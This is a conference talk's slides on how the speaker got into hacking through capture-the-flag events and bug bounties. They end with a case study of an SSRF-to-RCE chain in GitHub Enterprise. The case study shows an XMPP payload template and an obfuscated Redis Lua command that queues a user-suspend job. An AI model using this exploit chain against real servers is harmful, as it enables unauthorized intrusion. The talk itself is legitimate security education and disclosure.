From Zero to Zero-day

How I became a hacker and why you should

Carl Svensson @ Detectify 5/12 2018

Biography

- MSc in Computer Science, KTH
- Head of Security, KRY/LIVI
- CTF: HackingForSoju
- E-mail: calle.svensson@zeta-two.com
- Twitter: @zetatwo

Agenda

1. My journey
2. Capture the Flag, CTF
3. Bug Bounties
4. Case study: RCE in GitHub Enterprise

My journey

- Computer games
- C++ @ 7 years old
- Web sites, PHP
- University, engineering physics
  - AI was cool
  - Computer science
  - Exchange at EPFL in Lausanne
  - IT Security
- Competitive programming

Capture the Flag, CTF

- Job fair
  - Recruitment firm
- Interview, Bitsec
- Skill test - Play with HackingForSoju
- Recruited - Online & offline competitions
  - Development: Like the gym but hacking
  - Travels: Korea, Poland, Romania, Las Vegas
- Solo competitions

What is CTF?

- Challenges
  - Web
  - Cryptography
  - Forensics
  - Binary exploitation "pwning"
  - Reverse Engineering
- Format
  - Jeopardy
  - Attack/Defense
  - Solo vs team
  - Local vs online

Community participation

- Social media
  - Twitter
  - /r/netsec
- Podcasts
  - Säkerhetspodcasten
  - Säkerhetssnack
  - … a billion more …
- Events
  - Conferences: SEC-T, Security Fest
  - Meetups: OWASP, SEC-T Spring Pub

Blogs & Talks

- Hobby projects
  - Motivation + Time
- Conference talks
  - SEC-T
  - Security Fest
- Streaming
  - YouTube channel
  - Collaboration with LiveOverflow
- Blog - https://zeta-two.com

Background

CTF

Community

Bug Bounties

- Limited success previously
  - H1-702 2017
- H1-702: Preparations
- H1-702: Las Vegas

Act 1, the Orange saga

- Reversed GitHub Enterprise obfuscation
- Found some nice bugs
- Made a blogpost
- "I want the same setup!" -@avlidienbrunn

```
This obfuscation is intended to discourage GitHub Enterprise
customers from making modifications to the VM.
We know this 'encryption' is easily broken.
```

Act 2, @avlidienbrunn

- A lot of features
- Source code helps
- Integrations - SSRF
- HTTP: Protected
- XMPP is not HTTP

```
<?xml version='1.0'?><stream:stream to='
payload_lowercased_goes_here
' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org
```

Act 3, CTF meets real world

- localhost:6379 - Redis
- Worker queue
- LUA
- "I recognize this"
  - CTF!
- SSRF -> RCE

```
eval "redis.call('lpush', 'resque:queue:low',
   '{\"class\":\"'..string.char(71)..'it'..
  string.char(72)..'ub::'..string.char(74)..
  'obs::'..string.char(85)..'ser'..string.char(83)..
'uspend\",\"args\":[10,\"n00b\"]}'`)" 0
```

```
eval "redis.call('lpush', 'resque:queue:low',
  '{\"class\":\"GitHub::Jobs::UserSuspend\",
\"args\":[10,\"n00b\"]}')" 0
```

```
{"class":"GitHub::Jobs::UserSuspend","args":[10,"n00b"]}
```

So, in summary...

- Base:
  - Solid programming foundation
  - Curiosity
  - Persistence
- Mix-in:
  - Capture the Flag
  - Community engagement
  - A *lot* of time
- Result:
  - Hacker
  - Useful skills
  - Friends and network
  - Great job opportunities

Questions?